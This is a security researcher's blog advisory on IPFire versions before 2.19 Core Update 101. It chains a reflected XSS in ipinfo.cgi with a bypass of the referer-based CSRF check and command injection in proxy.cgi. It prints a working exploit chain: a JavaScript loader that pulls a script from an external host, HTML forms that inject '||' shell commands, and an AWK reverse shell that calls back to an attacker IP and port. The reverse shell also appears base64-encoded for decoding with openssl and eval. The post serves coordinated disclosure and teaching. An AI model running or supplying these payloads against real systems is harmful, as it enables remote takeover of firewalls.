[XSS & RCE] IPFire < 2.19 Core Update 101 - Remote command Execution

  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: Contributions / / Opensource / OS / / Vulnerabilities, exploits and PoC / XSS   /   No Comments

IPFire < 2.19 Core Update 101 suffers from Remote Command Execution vulnerability (RCE – reverse-shell) and Cross-Site Scripting (XSS).

After months (years?) without analyzing any Linux routers / firewalls distributions like pfSensem0n0wall, IPCop, SmoothWall or ZeroShell, I wish to test more thoroughly the IPCop fork : IPFire.

IPFire has two main branches, 2.17 and 2.19 (the version 3 is still in beta). IPFire is a fork of IPCop, and most of the appliances come equipped with the distribution of high quality.

IPFire allows to establish a demilitarized zone, use DNS, DHCP, NTP, proxy, all with a strong security. Originally, this distribution is a fork of the project IPCop, itself a fork of Smoothwall. However, since the IPCop new 2.x branch,  the projects are developed independently.

IPFire is intended to protect small infrastructures individuals or SMEs. It can work with a small hardware configuration and exploit the principle of colored networks for functional safety architecture:

  • 1 red network connected to the Internet (WAN)
  • 1 green network connected to the local network (LAN)
  • 1 orange network, associated with DMZ
  • 1 blue network components for WiFi (WLAN)

IPFire is configured by WebGUI accessible by HTTPS (Perl / CGI scripts on port 444) or via a SSH terminal. The latest version is May 02, 2016 (correcting these vulnerabilities), namely 2.19 Core Update 101.

To follow the various analyzes such firewall / router solutions, I test the solution of IPFire after using it in my own network. Few vulnerabilities of IPFire already identified, I wanted to dig this distribution.

Well it is very robust and truly complete, however, it was possible for me to use one of its weaknesses to obtain a complete remote reverse-shell .

Analysis of the solution

My interest has focused on the code of the WebGUI, written entirely in Perl / CGI. These interfaces are generally the main attack vector of a system. Although I have not done a complete pentest of the solution, some attack vectors have been detected to support my point.

General remarks on the WebGUI

The WebGUI is made from many Perl / CGI scripts. To connect, IPFire is listening on an HTTPS port 444.

Authentication is done by Basic Auth system with the “admin” account (the root account is only exploitable via SSH).

A mechanism to protect the solution from CSRF attacks is present. IPFire checks on all pages the presence of the HTTP header “referer”. If this header is not present or is not set to the URL of IPFire itself, the page loads but no POST parameters are processed.

The WebGUI makes several calls to Perl’s system() functions to apply the configuration on the distribution. Most calls to the system() are properly secured. This function takes 1 to N argument(s). The first is mandatory, and the following N being the parameters of the command to execute. When a parameter of the command is variable, it should not be included in the chain of the first argument, but among those who follow. Indeed, the arguments after the first are processed automatically to avoid injections:

system('/usr/bin/touch $x'); // RCE exploitable if $x == 'x && cat /etc/passwd';
system('/usr/bin/touch', $x); // injection auto-protected

IPFire properly manage this principle throughout its source code, except for rare exceptions, including one that allowed the exploitation …

XSS reflected in GET

The /srv/web/ipfire/cgi-bin/ipinfo.cgi file lets you run a whois on an arbitrary IP through the WebGUI. The value passed is checked before being tested. However, it is re-displayed in the page. This display is produced by the line 87:

&Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);

Note that the code of this file, especially the vulnerable instruction above is inherited from IPCop which IPFire is a fork. In my IPCop vulnerabilities submission in 2014, this gap had been fixed, but it does not appear that this correction is present in IPFire.

The data are not sufficiently cleaned. Indeed, when transmits a canonical XSS vector as:


The only protection applied is the client browser native URLEncode. In other words, this injection doesn’t work on Chrome nor Firefox, but on IE:

Canonical RXSS alert IPFire

Canonical RXSS alert IPFire

PoC :


Bypass CSRF protection via the referer

IPFire (as IPCop) is protected against CSRF attacks by checking the referrer of each requests. Thus, it is not possible to automate direct CSRF, which fullfill / send a specific form in IPFire.

However, there is a reflected XSS vulnerability in GET. And although it may seems trivial and unnecessary, this vulnerability will be of great help.

The idea is to use the GET XSS to inject JavaScript code into IPFire. As IPFire only blocks the POST data if the referer is not valid and that our XSS injection transiting via GET data, then our JS code runs well in IPFire (see previous paragraph). Thus, to perform a POST request with a valid referer in IPFire, it is necessary to follow these steps:.

  • Exploit XSS vulnerability to inject JS code which will load an third-party JS script in the context of IPFire
  • This external file.js will be able to perform all GET / POST requests (via AJAX and JQuery) on IPFire in the context of the firewall, so with a valid referrer.
  • It will be possible to simulate a CSRF via a single XSS GET.

To prove my words, here is one possible scenario. The pentester defined a JS script on a web server that belongs to him, accessible by IPFire: https://<PENTESTER_WEBSITE>/x.js where x.js can be:

var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'http://code.jquery.com/jquery-latest.min.js';
function loadX(){ // AJAX CSRF bypass referer checking !
 type: 'POST',
 url: "https://<IPFire_IP>:444/cgi-bin/<TARGETED_PAGE>",
 contentType: 'application/x-www-form-urlencoded;charset=utf-8',
 dataType: 'text',
 data: '<YOUR_DATA>'
 }); // payload of your choice

This JavaScript code will be executed in the context of IPFire and performs the following actions:

  • Load the JQuery library on the fly in the DOM
  • Declaring a JS function that use the JQuery’s $ajax object to achieve an arbitrary POST request in the context of IPFire.
  • 2 seconds delay before execution of the POST Ajax function to ensure that the dynamic loading of JQuery in the DOM has been achieved.

Now we can exploit the XSS GET presented above to load that file http://<PENTESTER_WEBSITE>/x.js directly in the context of IPFire. This file is loaded via the following instructions:

var head=document.getElementsByTagName('head')[0];var script= document.createElement('script');script.type= 'text/javascript';script.src= 'http://<PENTESTER_WEBSITE>/x.js';head.appendChild(script);

IPFire only cleans (sanitize) certain characters, such as semicolons (;). Thus, it is necessary to escape via the JavaScript escape() function the whole payload (use this converter):


Finally, having encoded injection, the final GET XSS syntax is generated to add decoding (unescape()) on the fly and to evaluate the payload eval()) in the context of the IPFire page:


These vectors are only compatible with IE due to other URLEncode native browser, cf. first paragraph.

X.js arbitrary file loaded on the fly via XSS will therefore allow us to perform any type of request (GET / POST) to any page of IPFire, and that, in the context of IPFire with a referer valid.

Remote Command Execution

The /srv/web/ipfire/cgi-bin/proxy.cgi file is vulnerable to arbitrary shell command injection. Indeed, the line 4137 uses the syntax of the Perl system() function to execute a shell command by concatenating variable data directly in the command:

system("/usr/sbin/htpasswd -b $userdb $str_user $str_pass");

The variable $str_pass is transmitted by POST data to the page (so in a context with a valid referer), and it is not cleaned. It is possible to change this variable to chain shell commands within the vulnerable perl statement. The name of the POST variables to define this variable are “NCSA_PASS” and “NCSA_PASS_CONFIRM” (which must be of equal value).

To chain shell commands, the delimiters “&&”, “;” Or “||” are commonly used in Unix environments. However, in the case of IPFire, the characters “&&” and “;” are not included in the injections, they are not usable. The only alternative is the “LOGICAL OR” via “|| “. For a command that follows this “||” is executed, it is necessary that the command that precedes returns “false” (or sequential logic). Thus the binary /usr/sbin/htpasswd should return an error code. This can be done by simply executing the command without specifying a password. The following injection follows:

/usr/sbin/htpasswd -b $userdb $str_user || arbitrarily command

Thus, the following functional PoC works to create an “x” file in /tmp; while the referer is valid:

 <form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'>
 <input type='hidden' name='NCSA_PASS' value='||touch /tmp/x;#' />
 <input type='hidden' name='NCSA_PASS_CONFIRM' value='||touch /tmp/x;#' />
 <input type='hidden' name='NCSA_USERNAME' value='yanncam' />
 <input type='hidden' name='ACTION' value='Ajouter' />

Note: The value of the “ACTION” field must be set according to the current language of IPFire. In this example, IPFire is configured in French.

From an XSS to CSRF to finally gain a full RCE (reverse-shell)

Following a brief presentation of the three techniques above (GET XSS, CSRF protection bypass and finally RCE), see in detail a complete PoC that provides an interactive reverse-shell on IPFire. To obtain such a shell, the combined use of the preceding vulnerabilities is necessary.

The general scenario

  • GET XSS exploited to load a JS script on the fly in the context IPFire
  • Perform a POST ajax request in the context of IPFire by JS script previously loaded.
  • This Ajax POST request will be to the vulnerable page with arbitrary command execution vulnerability. It will be done with a valid referer defined in context.
  • Arbitrary command sent and run a reverse-shell on the system.

Preliminary notes

IPFire, in its latest version, is a light distribution. Thus, very few tools / binaries are present to help recover a reverse-shell. IPFire has no netcat, socat, telnet, php, python nor ruby. But there are the Perl and the Unix AWK utilities. Both tools allow easily recover a shell on a machine. Check the reverse-shell cheat sheet of ASafety for a complete list of one-line techniques.

As part of this PoC, the technique used is via AWK command, including a one-line version developed by ASafety:

awk 'BEGIN {s = '/inet/tcp/0/<IP>/<PORT>'; while(42) { do{ printf 'shell>' |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != 'exit') close(s); }}' /dev/null

Running this command in a Unix terminal, with netcat (nc -vv -l -p <PORT>) on the pentester’s machine <IP>, retrieve a full interactive shell on the system.

Design payload

After reading this article, you’ll understand that some characters are not usable in injections in the WebGUI of IPFire like semicolons (;). Thus, it is necessary to encode the AWK payload in base64 (after replacing <IP> and <PORT> of course, which is not done in the following):


The idea will be to send the base64 encoded payload to IPFire, and use the internal shell of IPFire to decode and interpret it on the fly. To decode this base64 string, IPFire has the binary tool “openssl”. This will make it possible to decode the base64 via the command:

echo '<BASE64>' | openssl enc -a -d

But this “openssl” command accepts only base64 input values which are divided by pack of 64 characters. Thus, all 64 characters, add a “\n” in our previous payload:


This payload is now fully encoded and can be decoded on the fly:

echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d

We need now to interpret this payload. For this, add backtick and “eval”:

eval echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl

Finally, with the syntax of the RCE injection in the file proxy.cgi, the POST data “NCSA_PASS” and “NCSA_PASS_CONFIRM” will be equal to:

||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#

PoC HTML (with valid referrer)

This following PoC requires a valid referer, language IPFire French (field “ACTION”) and a listening netcat on <IP> and <PORT> (payload unmodified)

 <form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'>
 <input type='hidden' name='NCSA_PASS' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\nOyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' />
 <input type='hidden' name='NCSA_PASS_CONFIRM' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\nOyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' />
 <input type='hidden' name='NCSA_USERNAME' value='yanncam' />
 <input type='hidden' name='ACTION' value='Ajouter' />

If the referrer is valid, this PoC is functional on any browser (tested on Firefox with TamperData).

PoC XSS to bypass CSRF protection to RCE to Reverse-shell

The final PoC, combining all previous techniques:

JS file

var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'http://code.jquery.com/jquery-latest.min.js';
function loadX(){ // AJAX CSRF bypass referer checking !
 type: 'POST',
 url: "https://<IPFire_IP>:444/cgi-bin/proxy.cgi",
 contentType: 'application/x-www-form-urlencoded;charset=utf-8',
 dataType: 'text',
 data: 'NCSA_USERNAME=yanncam&ACTION=Ajouter&NCSA_PASS=||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\nKTsgfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#&NCSA_PASS_CONFIRM=||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\nKTsgfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#'

Notes :

  • Functional injection tested on IE
  • Change IPFire’s IP in the JS file
  • Change POST payload “NCSA_PASS” and “NCSA_PASS_CONFIRM” with yours that contains the correct <IP> / <PORT>
  • Change the value of the “ACTION” field with the one in your language.

Final URL


Demonstration video

The following video illustrates all of these techniques.

  • Executing a canonical JavaScript alert() (XSS) in IE
  • XSS and CSRF with referer bypass to obtain a reverse-shell

Note: The video shows the vulnerabilities on the latest version of the 2.17 branch of IPFire (Core Update 99), however they are fully functional up to version 2.19 Core Update 100 included.

Conclusion and endnotes

The team in charge of IPFire development was alerted April 3, 2016 with all the examples, PoC and video demonstration. A security ticket was created, private, to exchange on the exploitation of vulnerabilities and the best methods to fix them.

Very quickly (within 2 days after), corrective measures were put in place. I would also like to thank Michael TREMER for his availability, his kindness, his correction speed and quality of the IPFire project 🙂

April 06, 2016, Michael TREMER sent a “CVE request” for these security weaknesses, that has not been validated. After a second attempt denied the April 8, 2016, it was decided to push patches to a next release.

April 27, 2016, a corrected version IPFire 2.19 Core Update 101 is available for testing, and May 2, 2016 the release is available!


IPFire acknowledgement

IPFire acknowledgement

IPFire is proving to be a quality solution, and really secured. Certainly the above techniques produce a reverse-shell on the distribution, but the application of this can be complex to exploit. While inheriting a long code from IPCop, IPFire is modernized, is secure by the day and this is a community project of great quality and responsiveness.

This article presents the importance that a simple Reflected XSS in GET variable can have in the life cycle of a exploitation. We must not underestimate simple XSS, for use in a framework such as BeEF or combined with other techniques like in this article.

I also want to say that the integrality of the IPFire solution has not been fully analyzed due to time constraints. It is possible that other entry points for various injections remain.

Sources & resources

  • Google Plus
  • LinkedIn
  • Viadeo
Author Avatar

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.